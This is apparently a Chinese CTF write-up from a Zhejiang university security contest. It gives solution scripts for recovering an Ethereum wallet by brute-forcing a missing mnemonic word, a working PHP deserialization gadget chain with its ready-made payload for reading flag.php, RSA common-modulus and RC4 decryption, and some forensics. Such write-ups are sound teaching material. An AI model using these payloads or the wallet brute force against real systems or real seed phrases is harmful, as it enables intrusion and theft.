第八届浙江省大学生网络与信息安全竞赛预赛

[MISC]RecoverWallet

eth助记词,缺失一项,BIP-39助记词共2048个,给出了地址后几位,暴力破解一下就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from mnemonic import Mnemonic
from eth_account import Account
Account.enable_unaudited_hdwallet_features()
mnemo = Mnemonic("english")
known_words = ["ankle", "assume", "estate", "permit", None, "eye", "fancy", "spring", "demand", "dial", "awkward", "hole"]

with open("/Users/chao/miniconda3/lib/python3.13/site-packages/bip_utils/bip/bip39/wordlist/english.txt", "r") as f: # 受不了了啊,bip_utils不会用,直接读文件吧
wordlist = [w.strip() for w in f.readlines()]

for candidate in wordlist:
words = known_words.copy()
words[4] = candidate
mnemonic_phrase = " ".join(words)
if mnemo.check(mnemonic_phrase):
print(mnemonic_phrase)
account = Account.from_mnemonic(
mnemonic_phrase )
print("Private Key:", account.key.hex())
print("Address:", account.address)

然后

1
2
(base) ➜  TEST /Users/chao/miniconda3/bin/python /Users/chao/tmp/ctf/TEST/DAS/MISC/eth.py | grep 700f80
Address: 0x7E93E8Eeeee122aBF300904eBC446D31D8700f80

[WEB]EzSerialize

php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
// highlight_file(__FILE__);
// error_reporting(0);

// echo "<h2>炒鸡简单的反序列化</h2>";
// echo "<p>目标:通过构造反序列化数据读取flag</p>";
// echo "<hr>";

class User {
private $name;
private $role;

public function __construct($name, $role) {
$this->name = $name;
$this->role = $role;
}

public function __toString() {
return $this->role->getInfo();
}
}

class Admin {
public $command;

public function __construct($command) {
$this->command = $command;
}

public function __call($method, $args) {
if ($method === 'getInfo') {
return $this->command->execute();
}
return "Method $method not found";
}
}

class FileReader {
private $filename;

public function __construct($filename) {
$this->filename = $filename;
}

public function execute() {
// 危险操作:直接读取文件
if (file_exists($this->filename)) {
return "<pre>" . htmlspecialchars(file_get_contents($this->filename)) . "</pre>";
} else {
return "文件不存在: " . $this->filename;
}
}
}

if (isset($_GET['data'])) {
try {
echo "<h3>反序列化结果:</h3>";
$obj = unserialize(base64_decode($_GET['data']));

// 触发__toString方法
echo "输出结果: " . $obj;

} catch (Exception $e) {
echo "错误: " . $e->getMessage();
}
}

// 不知道flag文件名
$a = new Admin(new FileReader(''));
$a->command = new FileReader('flag.php'); // dirsearch扫出来
$data = base64_encode(serialize(new User('attacker', $a)));
echo $data;

payload如下:

1
?data=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjg6ImF0dGFja2VyIjtzOjEwOiIAVXNlcgByb2xlIjtPOjU6IkFkbWluIjoxOntzOjc6ImNvbW1hbmQiO086MTA6IkZpbGVSZWFkZXIiOjE6e3M6MjA6IgBGaWxlUmVhZGVyAGZpbGVuYW1lIjtzOjg6ImZsYWcucGhwIjt9fX0=

[数据安全]dsEnData

依照encode.py写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import base64
import csv

def decode(encoded_data, K='a1a60171273e74a6'):
"""解密函数"""
try:
# 先base64解码
data_bytes = base64.b64decode(encoded_data)

res = b''
for i in range(len(data_bytes)):
c = K[i+1&15] # 同样的密钥循环逻辑
# 异或操作是可逆的,用同样的密钥再次异或就能还原
res += bytes([data_bytes[i] ^ ord(c)])

return res.decode('utf-8')
except Exception as e:
# 如果解密失败,返回原始数据并标记错误
return f"[DECODE_ERROR: {str(e)}] - {encoded_data}"

def decrypt_csv(input_file, output_file):
"""解密整个CSV文件"""
with open(input_file, 'r', encoding='utf-8') as infile, \
open(output_file, 'w', encoding='utf-8', newline='') as outfile:

reader = csv.reader(infile)
writer = csv.writer(outfile)

for row_num, row in enumerate(reader):
decrypted_row = []
for col_num, cell in enumerate(row):
try:
# 解密每个单元格
decrypted_cell = decode(cell)
decrypted_row.append(decrypted_cell)
except Exception as e:
print(f"解密第{row_num+1}行第{col_num+1}列时出错: {e}")
decrypted_row.append(f"[ERROR] {cell}")

writer.writerow(decrypted_row)

if __name__ == "__main__":
input_filename = "encoded_data.csv"
output_filename = "decrypted_data.csv"
decrypt_csv(input_filename, output_filename)

没有考虑表头,但手动改一下更快。

[数据安全]dssql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import csv
import re
from datetime import datetime

class Validator:
def __init__(self):
self.id_weights = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
self.id_chars = ['1','0','X','9','8','7','6','5','4','3','2']
self.violation_rules = {
'客服': ['product_management','system_logs'],
'财务': ['user_management','product_management','system_logs'],
'商品经理': ['user_management','order_management','system_logs'],
'系统审计员': ['user_management','product_management','order_management']
}

def validate_name(self, name):
if not name or not isinstance(name, str):
return False
return 2 <= len(name) <= 4 and bool(re.match(r'^[\u4e00-\u9fa5]+$', name))

def validate_phone(self, phone):
if not phone or not isinstance(phone, str):
return False
return len(phone) == 11 and phone.isdigit() and phone.startswith('1') and phone[1] in '3456789'

def validate_id_card(self, id_card):
if not id_card or len(id_card) != 18 or not id_card[:17].isdigit():
return False
last_char = id_card[17].upper()
total = sum(int(id_card[i]) * self.id_weights[i] for i in range(17))
return last_char == self.id_chars[total % 11]

def validate_bank_card(self, card):
if not card or not card.isdigit() or len(card) < 16 or len(card) > 19:
return False
digits = [int(d) for d in card][::-1]
total = 0
for i, digit in enumerate(digits):
if i % 2 == 1:
doubled = digit * 2
total += doubled - 9 if doubled > 9 else doubled
else:
total += digit
return total % 10 == 0

def validate_reg_date(self, reg_date, id_card):
try:
reg_dt = datetime.strptime(reg_date, '%Y/%m/%d')
if reg_dt < datetime(2015,1,1) or reg_dt > datetime(2025,10,31):
return False
if id_card and self.validate_id_card(id_card):
birth_date_str = id_card[6:14]
birth_dt = datetime.strptime(birth_date_str, '%Y%m%d')
if reg_dt < birth_dt:
return False
return True
except:
return False

def check_operation(self, role, module):
return role not in self.violation_rules or module not in self.violation_rules[role]

def parse_sql_file(filename):
"""解析SQL文件,提取表数据"""
tables = {'users': [], 'operations': [], 'roles': []}

with open(filename, 'r', encoding='utf-8') as f:
content = f.read()

# 简化解析:直接匹配INSERT语句
for table_name in tables.keys():
pattern = rf"INSERT INTO `{table_name}` VALUES (.*?);"
matches = re.findall(pattern, content, re.DOTALL)

for match in matches:
# 分割多行INSERT
rows = re.findall(r'\((.*?)\)', match)
for row in rows:
# 简单分割,处理转义字符
values = []
current = ""
in_quote = False
escape_next = False

for char in row + ',':
if escape_next:
current += char
escape_next = False
elif char == '\\':
current += char
escape_next = True
elif char == "'":
in_quote = not in_quote
current += char
elif char == ',' and not in_quote:
values.append(current.strip())
current = ""
else:
current += char

# 清理值
cleaned_values = []
for val in values:
val = val.strip()
# 移除字符串引号
if val.startswith("'") and val.endswith("'"):
val = val[1:-1]
# 处理转义字符
val = val.replace("\\'", "'").replace('\\"', '"').replace('\\\\', '\\')
cleaned_values.append(val)

if cleaned_values:
tables[table_name].append(cleaned_values)

return tables

def debug_print_tables(tables):
"""调试函数:打印解析的数据"""
print("解析到的数据:")
for table_name, rows in tables.items():
print(f"\n{table_name} 表 ({len(rows)} 行):")
for i, row in enumerate(rows[:3]): # 只显示前3行
print(f" 第{i+1}行: {row}")

def main():
tables = parse_sql_file('data.sql')

# 调试:打印解析的数据
debug_print_tables(tables)

validator = Validator()
violations = {}

# 检查信息违规
print("\n信息违规检查:")
for user_data in tables['users']:
if len(user_data) >= 7:
user_id, name, phone, id_card, bank_card, reg_date, role = user_data[:7]

print(f"检查用户 {name}:")
print(f" 姓名验证: {validator.validate_name(name)}")
print(f" 手机号验证: {validator.validate_phone(phone)}")
print(f" 身份证验证: {validator.validate_id_card(id_card)}")
print(f" 银行卡验证: {validator.validate_bank_card(bank_card)}")
print(f" 注册日期验证: {validator.validate_reg_date(reg_date, id_card)}")

if not all([
validator.validate_name(name),
validator.validate_phone(phone),
validator.validate_id_card(id_card),
validator.validate_bank_card(bank_card),
validator.validate_reg_date(reg_date, id_card)
]):
violations.setdefault(name, set()).add('信息违规')
print(f" → 发现信息违规")

# 构建用户ID到姓名和角色的映射
user_id_to_name = {}
user_id_to_role = {}
for user_data in tables['users']:
if len(user_data) >= 7:
user_id, name, phone, id_card, bank_card, reg_date, role = user_data[:7]
user_id_to_name[user_id] = name
user_id_to_role[user_id] = role

# 检查操作违规
print("\n操作违规检查:")
for op_data in tables['operations']:
if len(op_data) >= 5:
op_id, user_id, op_type, op_module, timestamp = op_data[:5]
user_name = user_id_to_name.get(user_id)
user_role = user_id_to_role.get(user_id)

if user_name and user_role:
has_permission = validator.check_operation(user_role, op_module)
print(f"用户 {user_name}({user_role}) 操作 {op_module}: {'合规' if has_permission else '违规'}")

if not has_permission:
violations.setdefault(user_name, set()).add('操作违规')

# 输出CSV
print(f"\n总共发现 {len(violations)} 个用户有违规")
with open('violations.csv', 'w', newline='', encoding='utf-8') as f:
writer = csv.writer(f)
writer.writerow(['姓名', '违规类型'])
for name, types in violations.items():
for violation_type in types:
writer.writerow([name, violation_type])
print(f"记录违规: {name}, {violation_type}")

if __name__ == '__main__':
main()

[数据安全]7years(unfinished)

用foremost提取ext4镜像。

1
2
3
4
5
foremost -i dasctf.dd
Processing: dasctf.dd |
foundat=data_part_1.txtUT
foundat=data_part_2.txtUT
foundat=data_part_3_CBC.txtUT

这三个txt都有很多乱码,发现第一个是base64编码的原始csv

赛后复盘,strings还扫出来一个1.png和data_part_4.txt,DiskGenuis可以恢复出来。实际上应该是三部分拼接而成,data_part_1.txt是base64,data_part_2、3是CBC加密(23应该是一起的吧,稍后有空研究),data_part_4.txt就是明文。我只处理了data_part_1.txt,结果始终24.9%,还一直在改py…

另外这题mount只有一个lost+found,还是空的;binwalk -e也报错。。。

[Crypto1]RSA_Common_Attack

经典的RSA共模攻击,已知n,e1,e2,c1,c2。

RSA 加密过程:
c1 = m^e1 (mod n)
c2 = m^e2 (mod n)

因为 gcd(e1, e2) = 1,所以e1,e2满足线性关系:a · e1 + b · e2 = 1 (1)
可以使用扩展欧几里得算法计算得到。

将 (1) 两边同时取 m 的幂:
m^(a·e1 + b·e2) = m^1 = m (mod n) (2)

将 (2) 与 c1、c2 对应:
c1^a · c2^b = m (mod n) (3)

于是明文 m 可以通过下面的操作得到:
m = (c1^a) · (c2^b) (mod n)

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
from gmpy2 import *

n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609
e1 = 65537
e2 = 10001
c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504
_,s1,s2 = gcdext(e1,e2)
m = pow(c1,s1,n)*pow(c2,s2,n)%n
print(long_to_bytes(m))
#flag:DASCTF{RSA_C0mm0n_M0dulus_Att4ck_1s_V3ry_P0w3rful_1nd33d}

[Crypto2]ez_stream

看题目发现是流密码——RC4

它把密钥变成一串看似随机的字节,然后把明文的每个字节与keystream对应字节做 XOR,根据XOR的可逆性,同样的 keystream也可以用来解密。程序里把flag用”love“这个 4 字节键做 RC4 加密,得到了一串整数数组text。我们解密就需要重建同样的keystream。然后用它重新跑RC4的KSA + PRGA,得到前 19 个 keystream 字节,然后逐位 XOR,得到原始的flag。

RC4 有两大步骤:KSA与PR。
KSA 把 key 通过循环与 S 里的值混合,最终得到一个打乱的 S 数组。

PRGA 在已打乱的 S 上继续循环交换,产生一连串 keystream 字节。

由于 RC4 是对称的,加密和解密的代码完全相同,只是把plaintext换成ciphertext或反之即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def rc4_keystream(key, n):
S = list(range(256))
K = [ord(c) for c in key]
j = 0
for i in range(256):
j = (j + S[i] + K[i % len(K)]) & 0xFF
S[i], S[j] = S[j], S[i]

i = j = 0
out = []
for _ in range(n):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
out.append(S[(S[i] + S[j]) & 0xFF])
return out


cipher = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117,
78, 78, 71, 168, 72, 79, 53, 114, 117]

keystream = rc4_keystream('love', len(cipher))
plain_bytes = [c ^ k for c, k in zip(cipher, keystream)]
plain_text = bytes(plain_bytes).decode()
print(plain_text)
#flag:DASCTF{rc4_is_easy}

[Misc1] 什么密码

下载附件得到一个压缩包,打开发现有一个加密的png文件,根据题目猜测可能是伪加密。所以直接用工具修改伪加密文件。

修改后得到一张图片,先拖进010看一下,拉到底发现一串字符

观察其结构想到可能是base64换表。接下来就是寻找被加密的文本了。用stegsolve分析一下,拉到最上面发现疑似密文的文本

最后解换表base64

flag:DASCTF{7779da53-d0f1-41d6-af3a-2fd9698d2ca5}